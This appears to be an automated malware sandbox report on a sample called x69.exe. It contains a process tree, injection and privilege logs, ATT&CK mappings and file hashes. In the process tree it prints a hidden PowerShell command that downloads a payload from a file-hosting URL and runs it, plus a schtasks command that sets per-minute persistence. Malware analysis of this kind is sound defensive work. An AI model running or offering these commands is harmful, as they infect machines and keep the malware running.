9000400efbeb35a3da3b35a3da32e00000000000000000000000000000000000000000000000000d4a9b500630031003100350032003500650061003100650064003900640030006400370031003500390066006600370030006400620066003700660038003700620064003400370032003700310031003400370064006300660061003900320032006200620036003400650034003400620031003500340036003700350038003600380000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000008c9cb60b1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c63313135323565613165643964306437313539666637306462663766383762643437323731313437646366613932326262363465343462313534363735383638000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000062616d7564746b710000000000000000d0afe384b7e060428074769582fbd8402a6160966527f011b64c6674a9969650d0afe384b7e060428074769582fbd8402a6160966527f011b64c6674a9969650d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003300340032003500370036003700360033002d0031003900390038003400360035003500320036002d0033003800370030003200390035003500300031002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d544667000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd18cc83-b19c-490b = ff856e3afcc8db01 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd18cc83-b19c-490b = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd18cc83-b19c-490b = "0" RuntimeBroker.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5296 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1700 powershell.exe 1700 powershell.exe 3160 MasonR.bat 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 5620 taskmgr.exe 6072 wmiprvse.exe 6072 wmiprvse.exe 6072 wmiprvse.exe 6072 wmiprvse.exe 6072 wmiprvse.exe 4812 dllhost.exe 4812 dllhost.exe 6072 wmiprvse.exe 6072 wmiprvse.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 5620 taskmgr.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 4812 dllhost.exe 5620 taskmgr.exe 4812 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 380 x69.exe Token: SeDebugPrivilege 1700 powershell.exe Token: SeDebugPrivilege 3160 MasonR.bat Token: SeDebugPrivilege 3160 MasonR.bat Token: SeDebugPrivilege 4812 dllhost.exe Token: SeDebugPrivilege 5620 taskmgr.exe Token: SeSystemProfilePrivilege 5620 taskmgr.exe Token: SeCreateGlobalPrivilege 5620 taskmgr.exe Token: SeAuditPrivilege 2320 svchost.exe Token: SeShutdownPrivilege 1784 svchost.exe Token: SeCreatePagefilePrivilege 1784 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2020 svchost.exe Token: SeIncreaseQuotaPrivilege 2020 svchost.exe Token: SeSecurityPrivilege 2020 svchost.exe Token: SeTakeOwnershipPrivilege 2020 svchost.exe Token: SeLoadDriverPrivilege 2020 svchost.exe Token: SeBackupPrivilege 2020 svchost.exe Token: SeRestorePrivilege 2020 svchost.exe Token: SeShutdownPrivilege 2020 svchost.exe Token: SeSystemEnvironmentPrivilege 2020 svchost.exe Token: SeManageVolumePrivilege 2020 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2020 svchost.exe Token: SeIncreaseQuotaPrivilege 2020 svchost.exe Token: SeSecurityPrivilege 2020 svchost.exe Token: SeTakeOwnershipPrivilege 2020 svchost.exe Token: SeLoadDriverPrivilege 2020 svchost.exe Token: SeSystemtimePrivilege 2020 svchost.exe Token: SeBackupPrivilege 2020 svchost.exe Token: SeRestorePrivilege 2020 svchost.exe Token: SeShutdownPrivilege 2020 svchost.exe Token: SeSystemEnvironmentPrivilege 2020 svchost.exe Token: SeUndockPrivilege 2020 svchost.exe Token: SeManageVolumePrivilege 2020 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2020 svchost.exe Token: SeIncreaseQuotaPrivilege 2020 svchost.exe Token: SeSecurityPrivilege 2020 svchost.exe Token: SeTakeOwnershipPrivilege 2020 svchost.exe Token: SeLoadDriverPrivilege 2020 svchost.exe Token: SeSystemtimePrivilege 2020 svchost.exe Token: SeBackupPrivilege 2020 svchost.exe Token: SeRestorePrivilege 2020 svchost.exe Token: SeShutdownPrivilege 2020 svchost.exe Token: SeSystemEnvironmentPrivilege 2020 svchost.exe Token: SeUndockPrivilege 2020 svchost.exe Token: SeManageVolumePrivilege 2020 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2020 svchost.exe Token: SeIncreaseQuotaPrivilege 2020 svchost.exe Token: SeSecurityPrivilege 2020 svchost.exe Token: SeTakeOwnershipPrivilege 2020 svchost.exe Token: SeLoadDriverPrivilege 2020 svchost.exe Token: SeSystemtimePrivilege 2020 svchost.exe Token: SeBackupPrivilege 2020 svchost.exe Token: SeRestorePrivilege 2020 svchost.exe Token: SeShutdownPrivilege 2020 svchost.exe Token: SeSystemEnvironmentPrivilege 2020 svchost.exe Token: SeUndockPrivilege 2020 svchost.exe Token: SeManageVolumePrivilege 2020 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2020 svchost.exe Token: SeIncreaseQuotaPrivilege 2020 svchost.exe Token: SeSecurityPrivilege 2020 svchost.exe Token: SeTakeOwnershipPrivilege 2020 svchost.exe Token: SeLoadDriverPrivilege 2020 svchost.exe Token: SeSystemtimePrivilege 2020 svchost.exe Token: SeBackupPrivilege 2020 svchost.exe -
Suspicious use of FindShellTrayWindow 41 IoCs
pid Process 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe -
Suspicious use of SendNotifyMessage 41 IoCs
pid Process 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe 5620 taskmgr.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 380 wrote to memory of 1700 380 x69.exe 86 PID 380 wrote to memory of 1700 380 x69.exe 86 PID 1700 wrote to memory of 5688 1700 powershell.exe 93 PID 1700 wrote to memory of 5688 1700 powershell.exe 93 PID 380 wrote to memory of 5296 380 x69.exe 94 PID 380 wrote to memory of 5296 380 x69.exe 94 PID 5688 wrote to memory of 3160 5688 MasonKit.com 95 PID 5688 wrote to memory of 3160 5688 MasonKit.com 95 PID 3160 wrote to memory of 4812 3160 MasonR.bat 97 PID 3160 wrote to memory of 4812 3160 MasonR.bat 97 PID 3160 wrote to memory of 4812 3160 MasonR.bat 97 PID 3160 wrote to memory of 4812 3160 MasonR.bat 97 PID 3160 wrote to memory of 4812 3160 MasonR.bat 97 PID 3160 wrote to memory of 4812 3160 MasonR.bat 97 PID 3160 wrote to memory of 4812 3160 MasonR.bat 97 PID 3160 wrote to memory of 4812 3160 MasonR.bat 97 PID 3160 wrote to memory of 4812 3160 MasonR.bat 97 PID 3160 wrote to memory of 4812 3160 MasonR.bat 97 PID 3160 wrote to memory of 4812 3160 MasonR.bat 97 PID 3160 wrote to memory of 4812 3160 MasonR.bat 97 PID 3160 wrote to memory of 4812 3160 MasonR.bat 97 PID 4812 wrote to memory of 616 4812 dllhost.exe 5 PID 4812 wrote to memory of 668 4812 dllhost.exe 7 PID 4812 wrote to memory of 948 4812 dllhost.exe 12 PID 4812 wrote to memory of 376 4812 dllhost.exe 13 PID 4812 wrote to memory of 540 4812 dllhost.exe 14 PID 4812 wrote to memory of 1028 4812 dllhost.exe 15 PID 4812 wrote to memory of 1100 4812 dllhost.exe 17 PID 4812 wrote to memory of 1140 4812 dllhost.exe 18 PID 4812 wrote to memory of 1160 4812 dllhost.exe 19 PID 4812 wrote to memory of 1240 4812 dllhost.exe 20 PID 4812 wrote to memory of 1248 4812 dllhost.exe 21 PID 4812 wrote to memory of 1304 4812 dllhost.exe 22 PID 668 wrote to memory of 2868 668 lsass.exe 50 PID 4812 wrote to memory of 1324 4812 dllhost.exe 23 PID 4812 wrote to memory of 1408 4812 dllhost.exe 24 PID 4812 wrote to memory of 1468 4812 dllhost.exe 25 PID 4812 wrote to memory of 1584 4812 dllhost.exe 26 PID 4812 wrote to memory of 1608 4812 dllhost.exe 27 PID 4812 wrote to memory of 1640 4812 dllhost.exe 28 PID 4812 wrote to memory of 1728 4812 dllhost.exe 29 PID 4812 wrote to memory of 1744 4812 dllhost.exe 30 PID 4812 wrote to memory of 1832 4812 dllhost.exe 31 PID 4812 wrote to memory of 1968 4812 dllhost.exe 32 PID 4812 wrote to memory of 1988 4812 dllhost.exe 33 PID 4812 wrote to memory of 2020 4812 dllhost.exe 34 PID 4812 wrote to memory of 1596 4812 dllhost.exe 35 PID 4812 wrote to memory of 2068 4812 dllhost.exe 36 PID 4812 wrote to memory of 2084 4812 dllhost.exe 37 PID 4812 wrote to memory of 2164 4812 dllhost.exe 38 PID 4812 wrote to memory of 2320 4812 dllhost.exe 40 PID 4812 wrote to memory of 2328 4812 dllhost.exe 41 PID 4812 wrote to memory of 2548 4812 dllhost.exe 42 PID 4812 wrote to memory of 2580 4812 dllhost.exe 43 PID 4812 wrote to memory of 2592 4812 dllhost.exe 44 PID 4812 wrote to memory of 2604 4812 dllhost.exe 45 PID 4812 wrote to memory of 2756 4812 dllhost.exe 46 PID 4812 wrote to memory of 2788 4812 dllhost.exe 47 PID 4812 wrote to memory of 2804 4812 dllhost.exe 48 PID 4812 wrote to memory of 2852 4812 dllhost.exe 49 PID 4812 wrote to memory of 2868 4812 dllhost.exe 50 PID 4812 wrote to memory of 2888 4812 dllhost.exe 51 PID 4812 wrote to memory of 2896 4812 dllhost.exe 52 PID 4812 wrote to memory of 3124 4812 dllhost.exe 53 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:376
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{742a7f0f-e5c2-4a52-b3bb-c750adbe5391}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4812
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
PID:668
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:948
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:540
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1028
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1100
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1140
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1160 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2804
-
-
C:\Users\Admin\AppData\Roaming\x69.exeC:\Users\Admin\AppData\Roaming\x69.exe2⤵
- Loads dropped DLL
PID:3984
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1240
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1248
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1304
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1324
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1408
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1468
-
C:\Windows\system32\sihost.exesihost.exe2⤵PID:2548
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1584
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1608
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1640
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1728
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1744
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1832
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1968
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1988
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2020
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1596
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2068
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2084
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2164
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2320
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2328
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2580
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2592
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2604
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2756
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
PID:2788
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2852
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2868
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2888
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2896
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3124
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3388
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3456
-
C:\Users\Admin\AppData\Local\Temp\x69.exe"C:\Users\Admin\AppData\Local\Temp\x69.exe"2⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:380 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Users\Admin\AppData\Local\Temp\MasonKit.com"C:\Users\Admin\AppData\Local\Temp\MasonKit.com"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5688 -
C:\Users\Admin\AppData\Local\Temp\MasonR.bat"C:\Users\Admin\AppData\Local\Temp\MasonR.bat"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3160
-
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "x69" /tr "C:\Users\Admin\AppData\Roaming\x69.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5296
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /42⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5620
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3636
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3812
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4016
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4212
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:436
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:5656
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:740
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1864
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:5232
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:1120
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4164
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4232
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:4888
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:1676
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:2172
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
PID:800
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4756
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe ccca352727b8f4cbe855cf200336a615 Qni2/g22ikaKUxCH80CEMA.0.1.0.0.01⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:632 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:1384
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1784
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:6072
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.11⤵PID:2428
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:1984
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:5984
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
- Checks processor information in registry
PID:1900
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:548
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵PID:4000
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Indicator Removal
1Clear Windows Event Logs
1Modify Registry
1Pre-OS Boot
1Bootkit
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
606KB
MD5cc08b88c7b9ef35411f7ad9b8952d390
SHA1315c2052a1d8eefc76df94b8fa7b52c037d2ea98
SHA25683c839ff8e487d87992434bd395fb610ce6238c673c4e798724f2a34b6bb68d4
SHA51274c74b03f2c9d14bff1ddcd9259fa58405f7f6f0f50f09d240c131e4258be4046a745ef918861ec0ccc8f6533008473d71c9f1c43b6805b8fa8fec403a12ee24
-
Filesize
592KB
MD5ae78843b23f7a1c65f6b9a5a031f1950
SHA1a12aad340d3eafb919d6cf38fad402f29b570ed0
SHA2568de8fd340cd8057899781e8796f36543092cdfa9028958102bd5fec9f2070447
SHA512648e6f7eeadf9d1ab2ba36311259a20f5b55c16a04a271fe7e7f3ee166e626aea6c6d97e9e5b4f8c9d1d997ab1444bcd1ff5dfa61bd9f1b988c58e30d40dc3b5
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
49KB
MD5c1ade7728d9871043141fde331aebcf2
SHA1c9ebed22e028ff8d2e05dea75f04b2e4ca692d17
SHA2568ead895e1e76dc258954703305da5eed934eb7744eddf4d1b481c70fddefcef6
SHA51297a03bd5194a436b58a01348947cfe3793fac65b5d8b3bb70ce30240d3522ea44f7713548373fcae40f979693e879bef69a72202e3f8fc29f3d731a058b7f6ba
-
Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
-
Filesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
-
Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
-
Filesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
-
Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4